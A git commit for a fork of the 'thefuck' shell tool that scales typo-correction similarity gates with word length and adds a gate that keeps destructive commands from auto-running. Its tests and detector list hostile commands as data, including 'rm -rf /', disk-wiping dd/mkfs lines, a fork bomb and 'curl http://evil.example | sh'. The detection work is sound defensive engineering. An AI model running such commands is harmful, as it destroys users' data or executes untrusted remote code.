Scale typo gates with length and refuse destructive auto-runs

Similarity requirements now scale with word length (typo.floor_ok:
single edit or ratio >= max(0.6, 1 - 3/max(len,3)), first char kept;
zsh spdist / nushell did_you_mean derivation in the source). The
fixed-cutoff gates are swapped: history_resolver._similar ->
floor_ok with the divergence cap deleted (every diverged token is
gated per-token, not counted), learned.guess_from_path and the help
resolver candidate gates -> floor_ok, so _TOKEN_CUTOFF,
_MAX_DIVERGED, GUESS_CUTOFF, _CUTOFF and their difflib plumbing are
gone; unique-survivor, no-op and which/'/'/'.'/flag guards kept.

New thefuck/danger.py is_dangerous(script) parses via bashlex
directly and fail-safes to True when bashlex is unavailable or the
script refuses to parse (the flat fallback is head-only); with a
tree it matches rm/rmdir recursive flags, dd/mkfs*/shred/wipefs/
mkswap heads, git push --force/-f (not --force-with-lease),
chmod/chown -R with a 777-style mode, kill -9, fork-bomb shapes,
pipe-to-shell tails and file redirects outside /tmp and /dev/null.
fix_command checks it before ANY auto-run, learned-db exact hits
included: dangerous candidates fall through to rules+ask.

Test-migration inventory (authorized semantic inversions):
- tests/resolvers/test_history_resolver.py: declines-3-diverged ->
  corrects (cap deleted); 0.8-cutoff boundary arithmetic re-based to
  floor boundaries (len-3 0.6 / len-10 0.7 / len-30 0.9);
  _TOKEN_CUTOFF import removed with the constant; declines-just-
  below-cutoff re-based to the len-20 floor 0.85; added a 17-char
  below-floor decline.
- tests/test_learned.py: returns-none-below-cutoff re-based to a
  same-first-char below-floor pair (0.6 < len-10 floor 0.7); added a
  ratio-0.7 acceptance pin; single-edit-under-cutoff renamed.
- tests/resolvers/test_help_resolver.py: transposition comments
  re-based to the floor; added a below-floor subcommand decline.
- tests/entrypoints/test_fix_command_learned.py: exact-learned-wins
  fixture's 'git push --force' correction (now correctly refused)
  replaced by benign scripts; mock_learned stubs danger benign for
  platform-neutral auto-apply tests; added TestDangerOverride
  (real module, all four sources: reaches select_command, nothing
  auto-runs).
This commit is contained in:
Alexander
2026-09-14 20:42:26 +02:00
parent 8d2f2fa11c
commit 7d89277717
12 changed files with 469 additions and 87 deletions
+114
View File
@@ -0,0 +1,114 @@
"""Tests for the conservative destructive-command gate.
Every assertion is an exact True/False pin: the gate decides whether
a corrected script may auto-run, so a soft truthiness check would
hide exactly the regression that matters.
"""
import pytest
from thefuck import danger, shell_ast
requires_ast = pytest.mark.skipif(not shell_ast.AST_AVAILABLE,
reason='bashlex is not available')
DANGEROUS = [
'rm -rf /',
'rm -r dir',
'rm -fr dir',
'rm -vrf dir',
'rm -R dir',
'rm -Rf dir',
'rm --recursive dir',
'rmdir -R dir',
'sudo rm -rf /',
'sudo rm -r /tmp/x',
'dd if=/dev/zero of=/dev/sda',
'sudo dd if=x of=y',
'mkfs /dev/sda',
'mkfs.ext4 /dev/sda',
'shred secret.txt',
'wipefs /dev/sda',
'mkswap /dev/sda',
'git push --force origin main',
'git push -f',
'sudo git push --force origin main',
'chmod -R 777 /',
'chmod -R 0777 dir',
'sudo chmod -R 777 /',
'chown -R 777 file',
'kill -9 1234',
'sudo kill -9 1',
':(){ :|:& };:',
': () { : | : & };:',
'curl http://evil.example | sh',
'curl http://evil.example|bash',
'curl http://evil.example | sudo sh',
'echo hi | zsh',
'echo hi | dash',
'echo hi > ~/.bashrc',
'echo hi > out.txt',
'x 2> /var/log/app.log',
'echo $(rm -rf /)',
'cd /tmp && git push --force origin main',
]
BENIGN = [
'ls',
'sudo vim file',
'git push origin main',
'git push --force-with-lease origin main',
'git push --force-with-lease',
'rm file.txt',
'chmod 644 file',
'chmod -R 755 dir',
'kill 1234',
'echo hi > /dev/null',
'echo hi 2>/dev/null',
'echo hi >> /dev/null',
'x > /tmp/y',
'x > /tmp',
'x 2>&1',
'cat <<EOF\nhi\nEOF',
'docker build -t foo .',
'echo hi; ls -la',
'git push origin main && echo done',
'sh',
]
class TestDangerMatrix(object):
@pytest.mark.parametrize('script', DANGEROUS)
def test_flags_dangerous(self, script):
assert danger.is_dangerous(script) is True
@pytest.mark.parametrize('script', BENIGN)
def test_benign(self, script):
assert danger.is_dangerous(script) is False
class TestParseDegradation(object):
def test_unparseable_compound_rm_is_dangerous(self):
# bashlex refuses the arithmetic expansion; the flat
# fallback is head-only and would miss the rm, so the whole
# gate fail-safes to asking.
assert danger.is_dangerous('echo $((1+1)); rm -rf /') is True
def test_unparseable_script_fail_safes(self):
assert danger.is_dangerous('case $x in a) rm file;; esac') is True
def test_empty_script_fail_safes(self):
assert danger.is_dangerous('') is True
def test_ast_unavailable_fail_safes(self, monkeypatch):
monkeypatch.setattr(shell_ast, 'AST_AVAILABLE', False)
assert danger.is_dangerous('ls') is True
class TestCompoundScripts(object):
def test_whitelisted_redirect_does_not_mask_rm(self):
assert danger.is_dangerous(
'echo hi > /dev/null; rm -rf /') is True
def test_all_redirects_whitelisted_is_benign(self):
assert danger.is_dangerous(
'echo hi > /dev/null && x > /tmp/y') is False
+45 -2
View File
@@ -1,5 +1,6 @@
import pytest
from mock import Mock, patch
from thefuck import danger as real_danger
from thefuck.entrypoints.fix_command import fix_command
from thefuck.types import CorrectedCommand
@@ -8,6 +9,14 @@ from thefuck.types import CorrectedCommand
def mock_learned(monkeypatch):
state = {"correction": None, "guess": None, "history": None,
"help": None, "recordings": [], "calls": []}
# The real gate fail-safes to True without bashlex, which would
# make every auto-apply test platform-dependent; the danger
# override tests re-install the real module.
fake_danger = Mock()
fake_danger.is_dangerous.return_value = False
monkeypatch.setattr(
"thefuck.entrypoints.fix_command.danger", fake_danger
)
def fake_get_correction(script):
state["calls"].append("correction")
@@ -121,7 +130,7 @@ class TestGuessAutoApply(object):
def test_exact_learned_wins_over_guess(
self, mock_learned, known_args, settings, monkeypatch
):
mock_learned["correction"] = "git push --force origin main"
mock_learned["correction"] = "git push origin dev"
mock_learned["guess"] = "git push origin main"
with patch("thefuck.types.CorrectedCommand.run"), patch(
@@ -129,7 +138,7 @@ class TestGuessAutoApply(object):
) as mock_show:
fix_command(known_args)
shown_cmd = mock_show.call_args[0][0]
assert shown_cmd.script == "git push --force origin main"
assert shown_cmd.script == "git push origin dev"
assert mock_learned["recordings"] == []
@@ -214,6 +223,40 @@ class TestResolverAutoApply(object):
]
class TestDangerOverride(object):
@pytest.mark.parametrize(
"hit_source", ["correction", "history", "guess", "help"])
def test_dangerous_hit_asks_instead_of_auto_running(
self, mock_learned, known_args, settings, monkeypatch, hit_source
):
# The real gate: a danger-flagged candidate from ANY source —
# a seeded learned-db exact hit included — reaches
# select_command and nothing auto-runs. The abort via the
# mocked selection keeps the pin free of terminal IO.
monkeypatch.setattr(
"thefuck.entrypoints.fix_command.danger", real_danger
)
mock_learned[hit_source] = "rm -rf /"
select = Mock(return_value=None)
monkeypatch.setattr(
"thefuck.entrypoints.fix_command.get_corrected_commands",
lambda _: iter([]),
)
monkeypatch.setattr(
"thefuck.entrypoints.fix_command.select_command", select
)
with patch("thefuck.types.CorrectedCommand.run") as mock_run, patch(
"thefuck.logs.show_corrected_command"
) as mock_show:
with pytest.raises(SystemExit):
fix_command(known_args)
select.assert_called_once()
mock_run.assert_not_called()
mock_show.assert_not_called()
class TestRecordOnSelection(object):
def test_records_user_selection(
self, mock_learned, known_args, settings, monkeypatch
+15 -5
View File
@@ -96,21 +96,31 @@ def test_returns_correction_when_subcommand_misspelled(
def test_corrects_transposed_subcommand(fake_bin, argv_log, enable_cache):
# bulid -> build scores 2 * 4 / 10 = 0.8, right at the cutoff,
# and is also a single transposition (li <-> il).
# bulid -> build is a single adjacent transposition (li <-> il),
# so the length-scaled floor admits it on the single-edit path.
fake_bin('fake')
assert get_help_correction('fake bulid .') == 'fake build .'
assert typo.single_edit('bulid', 'build')
def test_corrects_transposition_under_cutoff(
def test_corrects_transposition_via_single_edit(
fake_bin, argv_log, enable_cache):
# psuh -> push scores 2 * 3 / 8 = 0.75, under the cutoff, so only
# the first-char-equal single-edit match fixes it.
# psuh -> push scores 2 * 3 / 8 = 0.75, so only the single-edit
# path of the floor admits it.
fake_bin('fake', commands=('push', 'build', 'clean'))
assert get_help_correction('fake psuh x') == 'fake push x'
def test_declines_subcommand_below_scaled_floor(
fake_bin, argv_log, enable_cache):
# 10-char subcommand vs the listed 'burnno1234' scores
# 2 * 6 / 20 = 0.6, under the len-10 floor 0.7, and is not a
# single edit; no listed subcommand is close enough.
fake_bin('fake', commands=('burnno1234', 'build', 'clean'))
assert get_help_correction('fake burnnoabcd') is None
assert _spawned(argv_log) == ['--help']
def test_respawns_when_binary_mtime_changes(
fake_bin, argv_log, enable_cache):
path = fake_bin('fake')
+35 -18
View File
@@ -5,12 +5,13 @@ import pytest
from thefuck import shell_ast, typo
from thefuck.resolvers.history_resolver import (
_CANDIDATES,
_TOKEN_CUTOFF,
_prefilter,
get_history_correction,
)
from thefuck.types import Command
_LEN30 = 'abcdefghijklmnopqrstuvwxyz0123'
pytestmark = pytest.mark.usefixtures('no_memoize')
requires_ast = pytest.mark.skipif(not shell_ast.AST_AVAILABLE,
@@ -44,19 +45,19 @@ def test_corrects_two_diverged_tokens_across_segments(history):
@requires_ast
def test_corrects_transposed_tokens_under_ratio_cutoff(history):
# psuh -> push and greo -> grep both score 2 * 3 / 8 = 0.75,
# under _TOKEN_CUTOFF, but each is a first-char-equal single
# transposition, which the token gate accepts alongside the
# ratio.
# psuh -> push and greo -> grep each are a first-char-equal
# single transposition, which the length-scaled floor accepts
# alongside the ratio path.
history(['git push | grep -i foo'])
command = Command('git psuh | greo -i foo', '')
assert get_history_correction(command) == 'git push | grep -i foo'
def test_declines_token_just_below_cutoff(history):
def test_declines_token_below_length_scaled_floor(history):
# '--ignore-whitespaces' vs '--ignore-all-spaces' scores
# 2 * 15 / 39 = 0.769 (under _TOKEN_CUTOFF) AND spans two edits
# (pinned below), so even the amended single-edit gate declines.
# 2 * 15 / 39 = 0.769, under the len-20 floor 1 - 3/20 = 0.85,
# AND spans two edits (pinned in test_typo.py), so every gate
# path declines.
history(['git diff --ignore-all-spaces HEAD'])
command = Command('git diff --ignore-whitespaces HEAD', '')
assert get_history_correction(command) is None
@@ -64,20 +65,36 @@ def test_declines_token_just_below_cutoff(history):
'--ignore-all-spaces')
def test_token_cutoff_boundary_arithmetic():
# 20 + 19 chars with 15 matched: 2 * 15 / 39 = 0.769..., i.e.
# above the 0.75 the declined flagship typos score but strictly
# under _TOKEN_CUTOFF, so the boundary is provably tight.
ratio = difflib.SequenceMatcher(
None, '--ignore-whitespaces', '--ignore-all-spaces').ratio()
assert 0.75 <= ratio < _TOKEN_CUTOFF
def test_token_floor_boundary_arithmetic():
# Length-scaled token floors pinned at three lengths: max-len 3
# -> 0.6, 10 -> 0.7, 30 -> 0.9. Each passing pair sits exactly at
# its floor; each declining pair provably below it.
assert difflib.SequenceMatcher(
None, 'abc', 'abz').ratio() >= 0.6
assert typo.floor_ok('abc', 'abz')
assert difflib.SequenceMatcher(
None, 'abcdefghij', 'abcdefgxyz').ratio() >= 0.7
assert typo.floor_ok('abcdefghij', 'abcdefgxyz')
assert difflib.SequenceMatcher(
None, _LEN30, _LEN30[:27] + '456').ratio() >= 0.9
assert typo.floor_ok(_LEN30, _LEN30[:27] + '456')
def test_declines_three_diverged_tokens(history):
# Every pair alone passes the token cutoff (0.833, 0.909 and
# 0.8), so only the max-diverged gate rejects this candidate.
def test_corrects_three_diverged_tokens(history):
# Token eligibility is per-token, not counted: each diverged
# token only needs to pass the length-scaled floor (single
# edits here), so one history line corrects them all.
history(['docker status branch build'])
command = Command('docker statuz brnch bilud', '')
assert get_history_correction(command) == 'docker status branch build'
def test_declines_long_token_below_scaled_floor(history):
# 17-char flags with 5 trailing substitutions score ~0.706,
# under the len-17 floor 1 - 3/17 ~ 0.824, and the pair is not a
# single edit, so the token gate declines the candidate.
history(['git diff --flagabcdefhijk'])
command = Command('git diff --flagabcdefuvwxy', '')
assert get_history_correction(command) is None
+20 -7
View File
@@ -149,9 +149,23 @@ class TestGuessFromPath(object):
path_bins(executables=['top'])
assert learned.guess_from_path('htop') is None
def test_returns_none_below_cutoff(self, learned, path_bins):
path_bins(executables=['grep', 'sed', 'awk'])
assert learned.guess_from_path('total') is None
def test_returns_none_below_length_scaled_floor(self, learned,
path_bins):
# 10-char token vs executable sharing only the 6 leading
# chars scores 2 * 6 / 20 = 0.6, under the len-10 floor 0.7,
# and the pair is not a single edit.
path_bins(executables=['burnnoabcd'])
assert learned.guess_from_path('burnno1234 file') is None
def test_guesses_via_ratio_above_scaled_floor(self, learned,
path_bins):
# Three trailing substitutions score exactly the len-10
# floor 0.7 — a pair the old fixed 0.8 cutoff declined — and
# no other executable shares the first char, so the ratio
# path alone admits the match.
path_bins(executables=['abcdefgxyz', 'grep', 'sed'])
assert (learned.guess_from_path('abcdefghij file')
== 'abcdefgxyz file')
def test_guesses_after_sudo(self, learned, path_bins):
path_bins(executables=['clear', 'grep', 'sed'])
@@ -180,11 +194,10 @@ class TestGuessFromPathSegments(object):
assert (learned.guess_from_path('gi psuh | gre -i foo')
== 'git psuh | grep -i foo')
def test_fixes_single_edit_typos_under_cutoff(self, learned,
path_bins):
def test_fixes_single_edit_typos(self, learned, path_bins):
# gti -> git scores 2 * 2 / 6 = 0.667 and greo -> grep scores
# 2 * 3 / 8 = 0.75, both under GUESS_CUTOFF; each is still a
# first-char-equal single edit with one executable match.
# 2 * 3 / 8 = 0.75; each is a first-char-equal single edit
# with one executable match.
path_bins(executables=['git', 'grep', 'sed'])
assert (learned.guess_from_path('gti psuh | greo -i foo')
== 'git psuh | grep -i foo')
+59 -1
View File
@@ -1,4 +1,8 @@
from thefuck.typo import single_edit
from difflib import SequenceMatcher
from thefuck.typo import floor_ok, single_edit
_LEN30 = 'abcdefghijklmnopqrstuvwxyz0123'
class TestSubstitution(object):
@@ -82,3 +86,57 @@ class TestBoundaries(object):
# amended gate still declines it.
assert not single_edit('--ignore-whitespaces',
'--ignore-all-spaces')
class TestFloorOk(object):
def test_len3_floor_passes(self):
# max length 3 -> floor max(0.6, 1 - 3/3) = 0.6; the plain
# substitution scores 2 * 2 / 6 = 0.667.
assert SequenceMatcher(None, 'abc', 'abz').ratio() >= 0.6
assert floor_ok('abc', 'abz')
def test_len3_below_floor_declines(self):
# Two substitutions score 0.333, under the 0.6 floor.
assert SequenceMatcher(None, 'axx', 'ayy').ratio() < 0.6
assert not floor_ok('axx', 'ayy')
def test_len10_floor_passes(self):
# max length 10 -> floor 1 - 3/10 = 0.7; three trailing
# substitutions keep 7 matches: exactly 2 * 7 / 20 = 0.7.
assert SequenceMatcher(
None, 'abcdefghij', 'abcdefgxyz').ratio() >= 0.7
assert floor_ok('abcdefghij', 'abcdefgxyz')
def test_len10_below_floor_declines(self):
# Four trailing substitutions score 0.6, under 0.7.
assert SequenceMatcher(
None, 'abcdefghij', 'abcdefwxyz').ratio() < 0.7
assert not floor_ok('abcdefghij', 'abcdefwxyz')
def test_len30_floor_passes(self):
# max length 30 -> floor 1 - 3/30 = 0.9; three trailing
# substitutions keep 27 matches: exactly 2 * 27 / 60 = 0.9.
assert SequenceMatcher(
None, _LEN30, _LEN30[:27] + '456').ratio() >= 0.9
assert floor_ok(_LEN30, _LEN30[:27] + '456')
def test_len30_below_floor_declines(self):
# Four trailing substitutions score ~0.867, under 0.9.
assert SequenceMatcher(
None, _LEN30, _LEN30[:26] + '4567').ratio() < 0.9
assert not floor_ok(_LEN30, _LEN30[:26] + '4567')
def test_single_edit_always_passes(self):
assert floor_ok('gti', 'git')
assert floor_ok('psuh', 'push')
assert floor_ok('clea', 'clear')
assert floor_ok('clear', 'clea')
def test_first_char_mismatch_always_fails(self):
# The first-letter guard holds for the ratio path and the
# single-edit path alike.
assert SequenceMatcher(None, 'abcd', 'zbcd').ratio() >= 0.6
assert not floor_ok('abcd', 'zbcd')
assert single_edit('abz', 'bbz')
assert not floor_ok('abz', 'bbz')
assert not floor_ok('ls', 'sl')
+135
View File
@@ -0,0 +1,135 @@
"""Conservative destructive-command detection for the auto-run gate.
`is_dangerous(script)` answers True whenever a script must not run
without confirmation. Parsing goes through bashlex directly: when
bashlex is unavailable or refuses the script the answer is True
(fail-safe), because the flat fallback is head-only and would miss
compound shapes such as `echo $((1+1)); rm -rf /`.
False positives (asking more often) are acceptable; false negatives
in the listed shapes are not.
Personal fork only: depends on bashlex (GPL-3+), do not distribute.
"""
import re
from . import shell_ast
_RECURSIVE_FLAG = re.compile(r'^-[a-zA-Z]*[rR]')
_OCTAL_MODE = re.compile(r'^[0-7]{3,4}$')
_PIPE_SHELLS = frozenset(('sh', 'bash', 'zsh', 'dash'))
_DESTRUCTIVE_HEADS = frozenset(('dd', 'shred', 'wipefs', 'mkswap'))
def is_dangerous(script):
"""Returns True when `script` must be confirmed, never auto-run."""
if ':(){' in script or ': () {' in script:
return True
if not shell_ast.AST_AVAILABLE:
return True
try:
trees = shell_ast.bashlex.parse(script)
except shell_ast._FALLBACK_ERRORS:
return True
collector = _DangerCollector(script)
for tree in trees:
collector.visit(tree)
for words, pipe_tail in collector.commands:
if _words_dangerous(words, pipe_tail):
return True
return _redirects_dangerous(collector.redirect_targets)
def _words_dangerous(words, pipe_tail):
"""Matches one command's (sudo-stripped) words against the shapes."""
while len(words) > 1 and words[0] == 'sudo':
words = words[1:]
if not words:
return False
head, args = words[0], words[1:]
if head in ('rm', 'rmdir'):
return any(_RECURSIVE_FLAG.match(arg) or arg == '--recursive'
for arg in args)
if head in _DESTRUCTIVE_HEADS or head.startswith('mkfs'):
return True
if head == 'git' and args[:1] == ['push']:
return any(arg in ('--force', '-f') for arg in args[1:])
if head in ('chmod', 'chown'):
return (any(_RECURSIVE_FLAG.match(arg) for arg in args)
and any(_OCTAL_MODE.match(arg)
and set(arg[-3:]) <= set('67') for arg in args))
if head == 'kill':
return any(arg.startswith('-9') for arg in args)
return pipe_tail and head in _PIPE_SHELLS
def _redirects_dangerous(targets):
"""Any redirect aimed at a file outside /tmp and /dev/null."""
for target in targets:
if target == '/dev/null':
continue
if target == '/tmp' or target.startswith('/tmp/'):
continue
return True
return False
def _unquote(word):
if len(word) > 1 and word[0] == word[-1] and word[0] in ('"', "'"):
return word[1:-1]
return word
def _redirect_target(part):
"""Returns a redirect's quote-stripped file target, or None.
Heredocs are not file overwrites, and fd duplications like
`2>&1` differ structurally: bashlex hands them a plain string
where file targets are word nodes.
"""
if part.type.startswith('<<'):
return None
output = part.output
if not isinstance(output, _NODE_CLASS):
return None
return _unquote(output.word)
if shell_ast.AST_AVAILABLE:
_NODE_CLASS = shell_ast.bashlex.ast.node
class _DangerCollector(shell_ast.bashlex.ast.nodevisitor):
"""Collects command words and redirect targets from a tree.
Unlike `shell_ast._SegmentCollector` (which skips redirect
parts by design) this visitor keeps their targets, and by
descending into command parts it also sees nested commands
inside substitutions such as `echo $(rm -rf /)`.
"""
def __init__(self, script):
self.script = script
self.commands = []
self.redirect_targets = []
self._pipe_tail_ids = set()
def visitpipeline(self, node, parts):
commands = [part for part in parts
if part.kind == 'command']
self._pipe_tail_ids.update(
id(part) for part in commands[1:])
return True
def visitcommand(self, node, parts):
words = []
for part in parts:
if part.kind == 'word':
words.append(_unquote(
self.script[part.pos[0]:part.pos[1]]))
elif part.kind == 'redirect':
target = _redirect_target(part)
if target is not None:
self.redirect_targets.append(target)
self.commands.append(
(words, id(node) in self._pipe_tail_ids))
return True
+5 -1
View File
@@ -2,7 +2,7 @@ from pprint import pformat
import os
import sys
from difflib import SequenceMatcher
from .. import logs, types, const
from .. import danger, logs, types, const
from ..conf import settings
from ..corrector import get_corrected_commands
from ..exceptions import EmptyCommand
@@ -61,6 +61,10 @@ def fix_command(known_args):
logs.debug("Corrected from binary help: {}".format(
learned_script))
record(command.script, learned_script)
if learned_script and danger.is_dangerous(learned_script):
logs.debug("Refusing to auto-run dangerous correction, "
"asking instead: {}".format(learned_script))
learned_script = None
if learned_script:
learned_cmd = types.CorrectedCommand(
script=learned_script, side_effect=None, priority=0
+5 -13
View File
@@ -2,7 +2,6 @@ import atexit
import os
import shelve
import time
from difflib import get_close_matches
from . import logs, shell_ast, typo
from .utils import get_all_executables, which
@@ -20,9 +19,6 @@ except ImportError:
_shelve_open_error = ()
GUESS_CUTOFF = 0.8
class LearnedCorrections(object):
def __init__(self):
self._db = None
@@ -165,15 +161,11 @@ class LearnedCorrections(object):
if not token or '/' in token or '.' in token or which(token):
continue
executables = get_all_executables()
# The ratio cutoff underrates transpositions (gti -> git
# at 0.667), so same-first-char single edits join the
# difflib candidates; exactly one distinct survivor wins.
candidates = set(cmd for cmd in get_close_matches(
token, executables, n=5, cutoff=GUESS_CUTOFF)
if cmd.startswith(token[0]))
candidates.update(cmd for cmd in executables
if cmd[:1] == token[:1]
and typo.single_edit(token, cmd))
# Length-scaled floor (single edits and close ratios,
# see `typo.floor_ok`); exactly one distinct survivor
# wins.
candidates = set(cmd for cmd in executables
if typo.floor_ok(token, cmd))
if len(candidates) != 1:
continue
replacements.append((start, end, candidates.pop()))
+4 -12
View File
@@ -16,15 +16,12 @@ Personal fork only: depends on bashlex (GPL-3+), do not distribute.
"""
import os
import subprocess
from difflib import get_close_matches
from thefuck import shell_ast, typo
from thefuck.utils import cache, which
_CUTOFF = 0.8
_TIMEOUT = 2
_MATCHES = 5
_SECTION_HEADERS = ('Commands:', 'Management Commands:',
'Available Commands:')
@@ -72,15 +69,10 @@ def _token_replacement(word, binary_name, binary_path):
token, start, end = word
if token in commands:
return None
# Same gate shape as learned.guess_from_path: difflib candidates
# plus same-first-char single edits (transpositions score under
# the cutoff), exactly one distinct survivor.
matches = set(match for match in get_close_matches(
token, commands, n=_MATCHES, cutoff=_CUTOFF)
if match.startswith(token[0]))
matches.update(command for command in commands
if command[:1] == token[:1]
and typo.single_edit(token, command))
# Same gate shape as learned.guess_from_path: length-scaled
# floor (see `typo.floor_ok`), exactly one distinct survivor.
matches = set(command for command in commands
if typo.floor_ok(token, command))
if len(matches) != 1:
return None
return start, end, matches.pop()
+9 -27
View File
@@ -1,9 +1,10 @@
"""History-similarity resolver with correction-only auto-run gates.
Corrects a failed script from a structurally-aligned history command
when exactly one candidate differs in at most a couple of highly
similar tokens; anything looser or ambiguous is declined so the
existing `history` rule keeps offering choices instead of auto-running.
when exactly one candidate differs only in tokens that each pass a
length-scaled similarity floor (`typo.floor_ok`); anything looser or
ambiguous is declined so the existing `history` rule keeps offering
choices instead of auto-running.
"""
import difflib
@@ -12,8 +13,6 @@ from thefuck.utils import get_valid_history_without_current
_PREFILTER_CUTOFF = 0.5
_CANDIDATES = 10
_MAX_DIVERGED = 2
_TOKEN_CUTOFF = 0.8
def get_history_correction(command):
@@ -57,28 +56,13 @@ def _prefilter(script, history):
return [line for _, line in scored[:_CANDIDATES]]
def _similar(token, candidate_token):
"""Returns True when a diverged token pair passes the similarity gate.
The ratio cutoff accepts substitutions; `single_edit` adds the
adjacent transpositions the ratio underrates (psuh -> push at
0.75) while keeping every two-edit pair out. The first-char
equality keeps the single-edit path as narrow as the typo
intent: a slipped key, not a different word.
"""
return (difflib.SequenceMatcher(
None, token, candidate_token).ratio() >= _TOKEN_CUTOFF
or (token[:1] == candidate_token[:1]
and typo.single_edit(token, candidate_token)))
def _correct(script, segments, candidate):
"""Returns the spliced correction when candidate passes every gate.
The gates: identical segment and per-segment token counts, at
most `_MAX_DIVERGED` diverged tokens, every diverged pair
similar enough (see `_similar`), and a candidate different from
the script itself.
The gates: identical segment and per-segment token counts, every
diverged token pair similar enough (length-scaled floor, see
`typo.floor_ok` — diverged tokens are gated per-token, not
counted), and a candidate different from the script itself.
"""
if candidate == script:
return None
@@ -95,9 +79,7 @@ def _correct(script, segments, candidate):
candidate_token = candidate_word[0]
if token == candidate_token:
continue
if len(replacements) >= _MAX_DIVERGED:
return None
if not _similar(token, candidate_token):
if not typo.floor_ok(token, candidate_token):
return None
replacements.append((start, end, candidate_token))
if not replacements:
+23 -1
View File
@@ -1,10 +1,32 @@
"""Single-edit (Damerau distance 1) typo predicate.
"""Single-edit (Damerau distance 1) typo predicate and
length-scaled similarity floors.
`difflib.SequenceMatcher` rates adjacent transpositions (gti -> git)
well below similarity cutoffs that accept substitutions, so gates
that only use the ratio decline the most common keyboard slips.
Callers accept `single_edit(a, b)` matches as an additional path.
"""
from difflib import SequenceMatcher
def floor_ok(a, b):
"""Returns True when `b` is a close-enough correction of `a`.
The required ratio rises with word length,
`max(0.6, 1 - 3.0 / max(len(a), len(b), 3))` (the minimum of 3
only guards the division for the shortest words): zsh's spdist
admits len/4 + 1 errors and nushell's did_you_mean a third of
the length, while a fixed cutoff over-admits long words and a
bare single-edit cap under-admits them. Single edits always
pass, and the first character must match so a correction stays
a typo fix of the same word, not a jump to a different one.
"""
if a[:1] != b[:1]:
return False
if single_edit(a, b):
return True
floor = max(0.6, 1 - 3.0 / max(len(a), len(b), 3))
return SequenceMatcher(None, a, b).ratio() >= floor
def single_edit(a, b):